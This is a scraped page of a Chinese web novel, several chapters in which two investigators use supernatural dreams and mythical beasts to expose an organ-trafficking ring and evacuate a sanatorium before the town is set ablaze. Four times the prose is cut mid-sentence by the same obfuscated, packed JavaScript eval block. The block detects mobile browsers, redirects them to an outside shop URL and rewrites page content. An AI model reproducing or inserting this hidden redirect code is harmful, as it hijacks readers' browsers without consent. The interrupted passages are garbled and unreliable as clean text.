梦里的一切并不能对他现实的身体造成伤害,而且这位小友既入了他的梦,他手里的势力也不可能放过他了,只要再支撑一会儿,梦自然会解除。 卫天盛想的很好,但他不知道独孤尽并为让人察觉,直到他在心里默算着的时间超过了一天,才慌乱起来。 “你究竟是谁,既然要做英雄,为何缩头缩尾,连个真身都不敢示人。” 激将法对独孤尽也毫不管用,他从小听的阴阳话和激将话,数不胜数,早就习惯了。 “你做这些不就是想要受人敬仰,让世人记住你吗,你来我这,我给你个更好的活计,功德无量。” 原来那些助纣为虐的真是为了功德,这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688916|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 获得来的信仰之力,是无法渡过天劫的。 独孤尽被自己脑海里突然冒出的念头吓了一跳,他为什么会理所当然这么认为,好像对这些很熟悉一样。 没等他细思,卫天盛就被他变出的鲨鱼咬断了身体,“啊——” 凄厉的叫声现在听起来竟有点美妙。 总算找到他怕的了。 “在梦里怎么会疼?这里不是梦?!”卫天盛惊怒交加,他受过重伤,那种疼痛感骗不了人,可若说这里不是梦,他不可能被截断了身体还能活。 独孤尽决定继续扮演哑巴,左不过那些恐怖密室里多的是无声的关卡,事事都要问人可就没趣了。 一直没好好观察四周的卫天盛总算想好好看一看了,他强忍着剧痛,用双手支撑自己半截身体,他明明被淹没在海里,却能撑在水上,那条鲨鱼本该将他的身体吞吃入腹,现在却还衔着没吞咽下去。 独孤尽一点儿也不着急让鲨鱼把卫天盛的身体吞下去,他要看着卫天盛一点点挣扎,找办法,在他以为找到办法能解救自己时,再让鲨鱼把他的身体吞下。 那种给人希望,再让希望破灭,是这些人的惯用手段,他隐隐觉得卫天盛身上不止远星疗养院这一个案子。 “@?Q%#*biubiu——”独孤尽屏蔽了卫天盛一段骂人的脏话,伸手掏掏耳朵。 谁让他控制鲨鱼表演了一个吐身体又吞身体的动作,而且这个动作乘以了十。 觉得时机差不多了,独孤尽才将梦境撤除,接下来就要看春渐满了,他已经打蛇出洞,只要对方行动了,就不怕查不到破绽。 尤其,他还在梦里对卫天盛几近侮辱,这种屈辱,想必卫天盛这种大人物是忍不了的。 忍不了才好,忍不了才好啊。 “你终于回来了。”独孤尽刚一清醒,就看到春渐满坐在他旁边,神情惊喜得像是看到他诈尸了一样。 “我很有礼貌地给那位大人物送了拜帖,他现在应该在到处找我。”独孤尽声音有些嘶哑,许是很久没开口说话的原因,听起来不难听还带点儿磁性,比他平时清亮的声音多了几分蛊惑。 春渐满点点头,递了杯水过去,“我这边供词都整理好了,全都备份过两遍,不会有突然被销毁的风险。” “有几个地方我很在意,那个大人物只是背后的大伞,虽然是他把整个网拉起来的,但那些器官移植的渠道,似乎是另一位姓严的,还有,这个提供非法药品的这块,也有很多问题。”春渐满拿着自己整理的笔记,把这些供词里的重点都圈给独孤尽看。 独孤尽一看就头晕眼花,他的吊儿郎当属性才犯了一秒,就想到自己被焚烧的痛楚,顿时正襟危坐,一脸认真盯着字,“你说,你继续说,我认真听着呢,很认真。” 春渐满左右环顾了一下,并没有看到什么。 “……你在跟谁证明?” 独孤尽摇摇手指,“你不懂,我在跟自己的内心证明。” 20. 离间计 “你看,有没有可能,我们让这几方人内讧。”独孤尽接过春渐满的笔记,翻了几下,把那几块势力记在心里。 “汤行正只是一颗棋子,他没什么分量,但如果说,他叛变了,用这里的器官货源作为筹码,既对需求方那边加价,又少给那位进贡,那么两边,都会同时攻击这边,破绽也就会更多。”春渐满拿着笔在本子上重新划了线。 “还有一点,远星疗养院的院长,我们还没……”春渐满打了一颗五角星。 “这个院长不重要,他只是挂个名,从中获利而已,院里的事都是汤行正在管,况且器官移植手术,最需要汤行正这种有真技术的人,他才是关键。”独孤尽摸摸下巴,眼里精光乍现,“我们直接拿汤行正当枪使,应该没事吧?” “他现在还挺配合,快看不出之前做过那么多恶心事了。”春渐满想到汤行正满心都想死,就有点僵硬。 “都是假象,他没真正认识到问题,只是不想自己再受折磨了。”独孤尽摆摆手,“他自始至终都是个利己主义者,如果不是为了自己能早点解脱,根本不会配合我们。” “独孤尽,也有人真的认识到错了的。”春渐满想起几位经受了“怪奇诊所”的治疗后,发生了重大转变的一些人,勉强有点心理安慰。 “不是所有人都泯灭了良知,更多的人都只是因为自己所在的环境,影响了他的所作所为。”独孤尽从口袋里掏出一枚硬币,“你看,就连一枚硬币都有正面和反面。” 他轻弹硬币,往天上一抛,双手合十接住,“在打开手之前,你永远不知道它是正面还是反面。” “有的人心不坏,只是被境况逼迫做了选择,从法律层面来看是错误的,但可能那对他来说,是正确的选择。”独孤尽先前是不谙世事的公子哥,可自从接手了“怪奇诊所”,遇到了不少生活所迫犯下错事的案例,人性有的时候真不能用法律来评判。 “但做了错事,就要付出相应的代价。”春渐满不认同这点,可有人变好,总是好事。 “对,犯了错,就要承受相应的代价。”独孤尽点头,他虚抬手指在空中点了点,“让汤行正过来,他该为自己的所作所为承受代价了。” 汤行正此时像个热心又充满爱的医生,正按照顺序,拿着病例给大家进行心理疏导。 心理疏导是一部分,更重要的一部分是,他必须对着每一个他对不起的病患磕头谢罪。 汤行正现在所穿的裤子很奇怪,膝盖处剪了两个洞,正好能让他的膝盖露出来,每次下跪时,都要跪在那块专门铺了碎石子的地上。 一段时间过去,他的膝盖就已经血肉模糊了。 有些受害者太过良善,看不得这样的画面,可只要想到这个恶魔折磨了他们这么久,心也就能硬下来了。 没一个人提出让汤行正站起来。 不过,汤行正自己也站不起来了,他的膝盖正在承受着钻心之痛。 但他的专业能力确实强,接受了他心理疏导的病人,在耳鼠的术法加持下,有的心结散了,有的突然顿悟能走出死胡同了。 很多时候,人都是自己在为难自己。 办法远比困难多,即便困难重重,也永远不该是自己把自己困在困难里。 “汤主任,你要是不干那些错事就好了。”有病人发自内心感叹,想通了之后,甚至对自己受到的伤害都不那么在意了。 只要施暴者受到了应有的惩罚,他该考虑的就是自己往后的生活了,而不是将仇恨埋藏在心里,让心里的净土全都被污染,最后坏死,什么种子都种不起来,什么树都长不成,花也开不出。 “……”汤行正也很后悔,不过他后悔的不是做了害人的事,而是这些害人的事让他现在百般痛苦,连想解脱都解脱不了。 他试了很多次,即便他知道手术刀怎么握,切哪里能最快毙命,他也无法完成这项他以前觉得非常简单的事。 “啧,起来吧,有件事能加速完成你的心愿,告诉我,做不做。”独孤尽嫌弃地看了一眼匍匐在地上,还把他面前那块地染脏了的汤行正。 “做,做!什么事我都做!”汤行正原本灰白的脸突然焕发出了容光。 “不问问是什么事?”独孤尽眯起眼睛,危险逼近,脚尖正好碾在他破损的膝盖处。 “你说什么是什么,快让我死吧。”汤行正仍旧毫无悔改。 “跟严实学联系,提价。”独孤尽把之前没收的手机丢过去。 “手机上我安装了程序,别想做手脚,要乖,不然,永远也别想死了,你知道等待你的是什么。” 这回春渐满没阻止独孤尽恐吓汤行正,他也觉得这个汤行正无药可救,这种既有能力又没底线的人,如果有机会重获新生,绝对会做出更让人发指的事。 “喂?汤医师怎么了,是我家人病情严重了吗?”电话那头率先传出声音。 “病情稳定。”汤行正深吸了口气才忍住脚上的疼痛。 电话那头沉默了一瞬,原本礼貌的状态消失,变得暴躁易怒,“怎么现在给我打电话?不是说过没事不要给我打电话,每个月老地方见面了再说。”严实学显然是个防备心很重的人。 “都是一样的人,你图我的货,我要你的渠道,凭什么每次都是你对我颐指气使?严实学我告诉你,我这边有其他渠道找过来了,比你给我的价高出三个点。”汤行正倒没生气,只不过他的话足以让对面生气。 “是不是你?肯定是你这家伙反水,你知不知道卫老那有大能,就凭你那点伎俩也想吓唬卫老?”电话那头的人似乎摔碎了什么东西,发出一声脆响。 “我告诉你,老老实实干,凭卫老的能力,捏碎你跟捏碎一只蚂蚁一样,不要命了你。”严实学直接挂断了电话。 独孤尽和春渐满交换了一个眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688917|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神。 这个严实学恐怕已经被卫天盛试探过了,梦境那件事怀疑到他头上了,现在严实学又觉得这件事是汤行正做的。 独孤尽唇角上扬,“继续打,打给丁明达。” “我能给你走这批药已经顶着天大的压力了,你还要压我价,压50%,你要是不想做就直接说!”丁明达听明缘由后,同样怒气值爆满。 “哦我知道了,是你对卫老下的手……”电话那头在骂什么汤行正已经听不进去了,他现在特别希望卫老能对他下黑手,但显然,卫老的能力也不怎么样,他到现在都不知道真正捉弄他的人在哪。 汤行正听着指示一连打了好几通电话,每次都是对面先行挂断。 恐怕此时此刻,他们都在跟卫天盛通风报信,卫天盛的人也应该在找过来的路上了。 独孤尽琢磨片刻,觉得还要再下一记猛药,不然这个卫天盛不可能以身犯险。 “来,汤行正,你给卫天盛打个电话,说他孙子孙女在你手里,如果他不亲自来见你,你就摧毁他孙子孙女的心神,就像他在梦里见到的那样。” 春渐满不知道独孤尽对卫天盛做了什么,但按照以往“怪奇诊所”的习惯,肯定是做了凶残的事。 “你真的要对他孙子孙女做那些?”春渐满到底不希望把无辜孩童牵扯进来,那样独孤尽的所作所为性质就变了。 “饶了我吧,我哪能对他孙子孙女做那些啊,他有那么多那么多那么多的孙子孙女,光他的私生子就一堆,别说孙辈了。”独孤尽夸张地轮圆手,比划了一下。 “假的,就是让他这种自负的人生个气,让他被一个他从来不放在眼里的棋子踩在头上蹦跶,他绝对忍不下这口气。”独孤尽拍拍胸脯,“就凭我在梦里治疗他这么久,这点绝对没错。” “如果他那边真的有高人指点,你会不会受伤。”春渐满那双鹰眸中透露出些许不赞同,这太冒险了。 “懂什么叫速战速决吗,再不解决完这件事,我就要一直当牛马,我想休假了,我想休假,明白吗,小弟!”独孤尽又随地变出了一张沙发,躺了上去。 春渐满不明白怎么会有人这么喜欢躺着,让他躺一天,他都受不了。 “我没卫老的电话。”汤行正有点焦急,他也想更直白地惹恼卫天盛,让他一怒之下找高人把自己解决了,可重点是,他从没直接跟卫天盛对接过。 “你查一下。”春渐满把笔记本放在独孤尽面前。 “……又开始指挥我做事了,我该的。”独孤尽仰躺在沙发上,打开笔记本,重新黑入系统,试图获取卫天盛的联系方式。 片刻过后,独孤尽嘴角抽了抽,看向春渐满,“这是高级机密,我侵不进去,拿不到。” “院……院长知道卫老的电话,平时都是他把电话拿给我打的。”汤行正弱弱发声,希望他提供的线索能加速自己的死亡进程。 21. 请尽情体验人生 以往被无数双眼睛注视着,汤行正都从未有过紧张的情绪,那些骗人的瞎话他张口就来,可现在被眼前这两位主宰了他生死大权的人盯着,他却又感到了灵魂被撕扯的痛楚。 “真的,我,我没骗你们,院长知道。”汤行正再次保证,眼睛里全是红血丝,紧张地一遍遍舔着唇瓣。 “到也不必费劲让院长把电话给你,你直接把这些话让院长转述给卫天盛。”独孤尽思忖了会儿,找了最简单直接的方式。 “越是这样,卫天盛越容易信。” “好……”汤行正连忙点头,开始拨打电话。 这次的交涉与预期的一样,院长听到这种事情,白毛汗都起来了,他手底下出了这么个叛徒,他也逃不了干系,本来只是挂个名,白白拿好处就行,现在出这么个东西,他的老命都难保。 即便再害怕,他也没法把这件事瞒下来,与其知情不报被卫天盛查出来,还是早一点上报,以求宽恕。 “卫老,您看?”院长一边抹着额头上的汗,一边等待雷霆震怒。 “不对,你先前都没发现他有这种本事,肯定是受人点播。”卫天盛却没像想象中那般发难,他苍老的眼中全是城府。 他侧头对身边一人耳语,“让那边的动作停一停,引蛇出洞这一招用的妙啊,先前是我莽撞了。” “远星是吧,让它消失。”卫天盛轻描淡写一句话就决定了无数人的生死。 那边独孤尽和春渐满还在等着卫天盛过来,左等右等没等到,反而是独孤尽又一次被画拉进预示,再次感受了一把烈火焚身的痛楚。 他掐着脖子醒过来猛咳一阵,把坐在旁边整理证据的春渐满吓了一跳。 “发生什么了?!” “没事,死了一次。”独孤尽淡定地摆摆手,拿起他早有准备放在床头的水喝了一口。 液体顺着喉管滚下时,他仍觉得肺疼得厉害。 “死?!”春渐满更加惊惧,他扯了椅子坐到一旁,帮独孤尽顺着气。 “没事……不对,有事,远星镇即将被烧毁!”独孤尽刚想再定定春渐满的心,却突然想起画不可能无缘无故让他再次经历这种痛楚,除非,灾祸即将来临。 “怎么回事,明明已经改变了这么多,远星镇怎么还要被烧,那个老家伙不按常理出牌,他现在把远星镇烧了不更能证明他跟这件事有关系了吗?”独孤尽怒从心起,也不觉得身上疼了,他掀开被子拉起春渐满就想出去大干一场,走到一半又停住了。 “小弟,这个远星镇烧了到底对他有什么好处?” “宣泄自己的怒火?觉得自己被挑衅了。”春渐满尝试理解犯罪者的心理,却还是不敢相信,这么多的人命与他们而言,就是草芥。 “怒火,我才是真的有怒火!他凭什么高高在上,一副能主宰别人生死的样子!虽然他真的能,但真的很生气!”独孤尽已经不管自己的形象,他怒从心起,暴躁地捶了墙一拳。 “让他们全都给这些病人的家属打电话,来接人!”独孤尽怒气值满满,隔空传音把指令发给神兽。 没过多久,耳鼠率先飞来汇报,“主人!电话打不出去了!” 独孤尽拿出手机一看,所有信号都被切断,显然,卫天盛的动作比他想的还要快。 “这是要把事情按死了。”独孤尽气息阴沉,不知怎么,春渐满觉得他身上有一瞬闪了白光,“天地之大,岂有他只手遮天的道理。” “他要遮天,也要看看这天道容不容的了他。”独孤尽顺了下耳鼠的脑袋,“让病人带好自己的东西,到中庭排好队。” “独孤尽,你要干什么,这样太危险,会直接暴露你。”春渐满虽然不知道独孤尽要做什么,但他隐约能猜出来,这会对独孤尽造成巨大影响。 “放心,总比反复烧死好受。”独孤尽挠挠脖子,他现在还觉得呼吸困难。 反复烧死? 春渐满结合独孤尽之前怪异的举动,大致猜出了,如果那副画不断预示,每次都让独孤尽受那么一次火焚之苦,确实不负它“怪奇诊所”的胜名。 这不仅治疗的是犯罪者,更治疗了独孤尽这个执权者。 这样说来,就算独孤尽想用这份力量做不法之事,他也做不了。 这幅怪画到底是从何而来,真的是为了救治世人吗? 春渐满强压下满腹疑惑,疾步上前走在独孤尽身旁,一同来到中庭。 短短几天过去,中庭并没有太大变化,花架上的蔷薇依旧盛放着,只是这些病患脸上的恐慌忧虑消散了不少。 “诗晴,为什么把我们都集中在这里,我有点害怕。” 还没等祝诗晴安抚,孟晚舟就牵住了自己妹妹的手,“哥哥在这里陪你,碰到什么都别怕。” 孟晚舟有预感,这一切将要结束了,他们可以回归正常的生活,接下来,他们要自己面对生活中的难题,不能再把希望寄托给别人了。 独孤尽这回让大家都戴了面具,让人看不清面容,从春渐满的视角,他只能看到一团雾笼罩在脸上,从远处看,怪吓人的,像个无头人。 但从独孤尽的角度,他觉得大家戴的是个腾云驾雾、仙气飘飘的隐形面具。 “哥哥,我是不是近视了,怎么看不清那个人的脸?” “……”孟晚舟顺着妹妹手指的方向看去,站在高处的几个人脸前都遮了一片云雾,如果只有一个人这副形态,可能还会有点恐怖氛围,但一排在那,和卖棉花糖的摊位一样杵着,多了几分荒诞感。 “因有特殊情况,事态紧急,这里即将发生大事,我们现在将你们一个个送回家,这几天的情况你们也了解了,我有一些特殊能力,但这些事不能让大家知道的,等等过来,先让耳鼠给你们施加遗忘术,你们可以选择忘了来过远星疗养院,也可以选择只忘了这两天。”独孤尽清了清嗓子,尽量让自己的声音听起来温和。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688918|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我们的存在是必须遗忘的,希望大家理解,不仅是保护我们,也是保护你们。回去之后好好生活,真的遇到解决不了的事情,可以求助‘怪奇诊所’,只要你们真的努力过了,也真的到了危急关头,‘怪奇诊所’会来帮助大家的。” “不要放弃来之不易的生命,不为别的,为了自己,好好活着,体验花开花落,风起云涌。”独孤尽说到最后,自己的眼角都有点湿润了,春渐满嘴角抽动看着把自己感动哭了的独孤尽,用手肘杵了杵他。 “如果不想回到自己家,也可以把想去的朋友家地址或者别的地址告诉我们,但你们过去后,会有记忆丢失的不适应期,给的地址,一定要有人可以照顾你们。”独孤尽最后嘱咐了一句。 他接过让春渐满准备的能量饮料,第一次使用这么多能量,他怕自己出意外,除了随时可以补充的能量饮料,还预先让春渐满回了一趟局里。 半小时前,春渐满带着满脸疲惫急匆匆直接打开自己师傅的办公室门时,差点被当成袭警被他师傅扭了胳膊。 “你小子怎么回事,这么多天一点讯息都没有。”曹局批评的话还没说完就被春渐满打断。 “师傅,事情紧急,我找不到比您更可信的人。”春渐满双手撑在桌上猛喘了几口气才缓过来。 刚说完,他就警惕地发现了角落里的监控摄像头,二话不说,拽着人就要往外跑。 “停!慌慌张张像什么样子!”曹局眉头皱得很紧,却还是整了整衣服,率先走出了办公室,“跟着。” 春渐满也在几息之间快速调整好了自己的状态,一副挨训的样子跟在自己师傅身后。 直到走出警局,曹局才反问他,“这里没监控,又惹了什么事要我给你擦屁股,说吧。” “师父,此时重大,我在此立誓,我之后所说绝无半句虚言,所做所为对得起人民群众,也恳请您支援。”春渐满深吸了一口气,简单扼要把远星镇即将遭遇灭镇大火,他们正在努力施救,但不怕一万就怕万一,以及这背后的势力是仅凭他们难以撼动的卫天盛等等,全跟他师傅叙述了。 只是,关于独孤尽的一切,他只字未提。 “那么多人,你怎么施救?”多年的老刑警自然没那么容易被糊弄。 “这些容我无法透露,师父,即便真找不到办法来救援,也要把事情散不出去,舆论影响的威力师父您比我清楚。”春渐满第一次办这么大的案子,以往都是跟歹徒斗智斗勇,拼命的情况也不在少数,可这次实在势单力薄。 这一瞬间,春渐满突然明白了那天独孤尽到底在生他什么气。 独自面对庞大势力的不安,不被人理解的孤寂,以为找到知己可以分享心事,却忽然发现对方竟毫不理解的失望…… “师父,我要回去了,早一刻可以多救一个人。”春渐满伸手遮住曹局的眼睛,心念转动,回到独孤尽身旁。 他不会再让独孤尽独自面对了。 22. 男孩的去留 队伍排得很整齐,虽然都很想离开这个噩梦般的地方,但大家没有一人争抢,乖乖在文鳐鱼那边接受再次精神检查,又在耳鼠轻柔询问下,登记好要回的具体定位。 如果是回到具体家中的还好,独孤尽也不用费劲再去搜查有没有监控,大部分家庭屋内是没有监控的,也有少部分养宠家庭,屋内会装一些监控,独孤尽就要更费劲地去定位到细致的地方。 “你要去白山街与白塔街的十字路口?”独孤尽拿着下一位病患填上来的地址,颇感不解,“十字路口有监控,不能送你去那。” “那就把我丢在白山街路边吧。”男孩固执地梗着脖子,他直勾勾盯着独孤尽那被白雾遮住啥也看不见的脸。 “你刚才也听到我说的话了吧,如果没有人在旁照顾,会有危险。” “有人才危险,我相信自己。”他仍旧不肯松口。 独孤尽往耳鼠那边看了一眼,耳鼠冲他摇摇头,这个孩子精神层面很健康,根本不需要治疗,显然是被人故意丢过来的。 结合他刚才的话,足够独孤尽进行猜测,可能有人,他才真的会受到伤害。 不论把他丢进来的是谁,能够肯定是,只有监护人才有这个权利。 “那你在这边先等等,可以吗?”独孤尽低下头,尽量温和地和男孩对视,可他的眼睛在白雾后,根本看不见。 索性男孩能够感受到这股善意,他点点头,走到一旁蹲在地上看起了蚂蚁。 独孤尽的能量被消耗得很快,他从未这般大量使用这种力量,也从不知道力量枯竭是那么煎熬,就像有无数只爬虫在啃咬骨头,隔着肉的那种难受,让他周身的气息逐渐变得阴郁。 春渐满是第一时间发现独孤尽状态不对的,他赶忙把能量饮料递过去,可这次独孤尽却没有接,他摆摆手。 从一开始还能和病患寒暄几句,到现在一言不发,看到地址就直接把人丢过去,独孤尽身上的汗越来越多。 “快了,现在登记全都做好了,人数也对得上,只有三百三十五人了。”春渐满试图安慰独孤尽,但这个数字却让独孤尽倍感压力。 现在每多送一人回去,他的难受就加重一分,有点撑不住了。 “休息一下。”独孤尽强忍着想吐的恶心站起身,活动了一下哪哪都不舒服的身体。 为了不让浪费时间,独孤尽阴沉着一张脸走到呆呆看着蚂蚁搬家的男孩旁边,“朋友家?” “我没有朋友,不让我交朋友,交的朋友全被他们教训了。”男孩摇摇头,他用指尖点着地面,把蚂蚁的路隔开,看着蚂蚁绕路。 “外公外婆,爷爷奶奶,其他亲属呢?”独孤尽试图找到男孩没想到的自己能放心去的地方。 “……”男孩摇摇头,像是玩够了蚂蚁,他又抬起头看着独孤尽,“让我去白山街路边吧。” “为什么想去那边?”独孤尽拿过笔记本,敲了几下找到白山街附近的监控死角。 “那里有我养的一只小猫。”男孩突然龇牙笑起来,“我只要看到它就什么都不害怕了,真的没关系的,我可以和它一起生活。” “你怎么生活,出去之后一直不和监护人联系了?上学的事呢?”独孤尽根本不觉得男孩能养得起他自己和那只小猫。 “我有生活费,在这张卡上。”男孩从口袋里摸出一张银行卡。 独孤尽从他身上看到了自己的影子,身体更加难受了,他想摸摸男孩的脑袋,直接送他去他想去的街边,可手上光团升起的瞬间,却迟疑了。 “你好一点了吗?”春渐满走过来就看到光团敛起,可人却没被送走,心里咯噔了一下,他凑到独孤尽耳边,小声询问,“能力出问题了?” “不是,我不知道该不该就这样让他一个人出去,他的监护人估计不行,他出去之后没人照顾,可能最终还是会被警方送回他监护人身边。”独孤尽摇摇头,看着男孩孤寂的小身板,最终还是没送他回去。 春渐满急了,他拽住独孤尽的手腕,“那你也不能把他留在这里,这是非法拘留。” “现在这也不是重点,重点是这里之后就会被火烧,他留在这只有死路一条。”春渐满暂时把那些条条框框从脑海里剔除出去。 “我知道,就算他自愿,在没有成为他的监护人之前,我这种行为也属于诱拐,对吧。”独孤尽很浅地扯了一下嘴角,他撑着双腿从地上起来。 春渐满刚要松一口气,独孤尽就说出了让他恨不得没听到的话。 “可如果让人觉得,他是在这场大火里被人烧死了呢?” “你怎么能这样,他父母知道了不得伤心死。”春渐满坚决不赞同独孤尽这么做。 “你又怎么知道他父母在不在意,说不定,根本就忘了还有他这么个人在,早就在盼着他死呢。”独孤尽抬头看了看天色,没再和春渐满争论,重新送其他病患回家。 春渐满心事重重走回男孩身边,“你的监护人做过什么伤害你的事吗?” “没有。”男孩回答得很干脆,像是知道春渐满想问什么,他没有隐瞒,直接告诉春渐满,“我是被卖给他们的。” “他们现在已经有了自己的孩子,不需要我了,但又没有正当理由不养我,就把我送到这里了。”男孩说起这些事并没有同龄人该有的情绪,他很平静,像是说着事不关己的故事,“如果我回去,可能会再被送进医院,但这些年我自己存下了很多零花钱,可以自己上学读书。” “上学得办很多手续,都需要监护人。”春渐满没有心软,打破了男孩的幻想。 “就因为我是小孩子吗?那我就找人做假的身份,让我变成成年人,这样我就能自己去上学了。”许是生活环境影响,男孩丝毫不觉得有些事是不对的。 “你听我说,现在法律健全了很多,有专门保护你们这种孩子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688919|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办法,如果证据确凿,是可以剥夺你现在监护人的监管权力的。”春渐满刚把这些话说出来,自己就停住了,按照常规,这个孩子如果真是被人卖掉的,那卖掉他的人是谁至关重要。 “你还记得自己是怎么被卖的吗?”春渐满不忍心听到他猜测的答案。 “是被我爸爸妈妈卖掉的,他们生了好多孩子,养不起了,就把我卖掉了。”男孩点点头,显然没忘记当时的场景。 “可你是男孩……” “所以才能卖高价。”男孩伸出五个手指,“卖了这么多,好多钱。” “反正这个世界就是这样的,我有用就会有人要我,没有用了就把我丢掉,小猫也是一样的,喜欢它的时候就养它,不喜欢了,就被人丢掉了。”男孩平铺直叙的说话方式刺激到了春渐满,他强忍着惊怒放缓声音,“不是的,不该是这样的。” “你看,就算你在这里,也会想你的小猫,想回到它的身边,想照顾它。”春渐满宽大的手掌抚上男孩的头顶,“你不喜欢小猫了,会把它丢掉吗?” “我不会不喜欢小猫。”男孩不知道自己不喜欢小猫会不会把它丢掉,但是他知道自己不会不喜欢小猫。 “那你很饿,快饿死了,会把小猫吃掉吗?” “怎么可以做这种事?!你太可怕了!小猫是我的朋友!”男孩被春渐满的话吓到连连后退,他转身跑到独孤尽身边,小手拉拉他的衣摆,“送我回去,我要回去。” 独孤尽又送了一部分人回家,能力透支,被男孩轻轻一拽,差点踉跄着摔倒,春渐满健步上前扶住他。 男孩见春渐满又过来了,后退一步,扭头就朝外跑,耳鼠瞧见了急忙甩着尾巴飞过去,把男孩抱入怀中,对他进行了精神安抚。 “你干什么好事了,把这么乖的小孩吓得乱窜。”独孤尽抽抽嘴角,“小弟,好好学学怎么温柔,再瞪着那双鹰眼,以后该变成传说里吓哭小孩的怪兽了。” “……有你的白雾面具,他看不到我的眼睛。”春渐满无奈地指指遮在面前的那团白雾。 不能因为它不影响自己视物,就总把它的存在忘掉啊。 “他的事暂时放下,代替监护人看管一会儿儿童也不算犯法,先把其他人送回去吧。”春渐满有些焦虑地看了眼天色,按理说这个时候师傅应该赶来了,可到现在都没半点动静,不知道是不是出什么事了。 春渐满的预感没错,曹局坐在局长的位置上这么多年,生死之交有一些,可真正能为他抛弃所有,不管不顾的却不多,时过境迁,很多东西都会变,而他最清楚,有时候做错事比什么都不做更可怕。 “老曹,私自出这么大的行动,上面怪罪下来,我们俩都得进去。”关鹏站在窗边看着鲜红似血的晚霞,心下不安。 “你就说去不去吧。”曹鸿盛摘下警帽,不舍地擦了擦帽檐。 也许,这是他最后一次戴它了。 23. 天降火球 曹鸿盛虽然动作慢了些许,但却做了充分的准备,不仅找了兄弟单位的关鹏帮忙调人手出任务,还联系了新闻媒体的熟人,以防万一。 “有人来了。”独孤尽停下手里的动作,他抬眸看向远方,远星镇这片幻境里闯入了新的人。 片刻后,独孤尽调整好呼吸,又凝神感受了一下环境里那群不速之客,“气息不对,不像善类!” 他猛地睁开眼,将剩下还没送回家的几十人包圆了集中在一块,让猲狙看着。 “若有人强行要伤害他们,不择手段阻止一切。”独孤尽在极短的时间内做出了决定,在生命受到威胁时,防卫是合法的。 “小弟,能记得怎么回家吧,迫不得已的时候可别脑袋宕机,记得回家。”独孤尽拍了拍春渐满的肩膀,“你跟大家在一起,有特殊情况可以让猲狙跟我说。” “猲狙,要听春老师的话,不然你知道等待你的会是什么。”独孤尽绽放出气势,警告猲狙。 猲狙作为一只食人猛兽,如果不受约制,那人类对他来说只是食物,他不会有什么负罪感,但负罪感会直接降临到独孤尽身上。 “主人放心,我不会吃人的。”猲狙心有余悸摸摸后脖颈,那里冒了一片冷汗。 似是有所感应,独孤尽和春渐满齐齐看向某处,火光漫天只在一瞬,旋即独孤尽的脑海就猛地痛起来。 春渐满扶住独孤尽,极其担忧地看着才过去几天就消瘦了一圈的人,这种需要消耗高度精神来进行的操作,太磨人。 “远星镇里的居民很快就发现,幻境撑不了多久,我去会会他们。” 除去本就该被转移回家的病患,这边园区里的工作人员以及远星镇助纣为虐的那些居民还没良好的安置。 独孤尽私心里其实不想管这些人,他觉得无论犯的错大还是小,犯错就是犯错,他们就是杀人凶手。 但工作人员接受了“怪奇诊所”的治疗,有一大部分都已经醒悟,如果没有机会重新来过,未免太残忍。 画啊画,你要是真想让我死,可以直说,不用给我安排这么棘手费劲的活。 独孤尽在心里叫苦不迭,可面上却半点不显,他冷着一张脸,让云雾像头盔一样将自己整个脑袋全盖住。 卫天盛全神关注着远星镇这边的一举一动,他倒要看看,什么人能躲得过天灾。 独孤尽看着天上不断滚落火球,一颗接一颗砸在他的幻境防护罩上,关键是每砸一下他都得疼一下。 “嘶——究竟是哪个丧尽天良的在助纣为虐?!”独孤尽挥挥手将受到攻击的这块区域遮住天光,原本还被亮光掩盖了身形的某人,被骤然降临的黑暗打了个措手不及,火球是从他甩下的符咒中生化而出的。 独孤尽只花了一个念头的时间,就直接侵入了此人的精神世界。 “你究竟是何方神圣?!怎能这么轻易侵入我的识海?!” 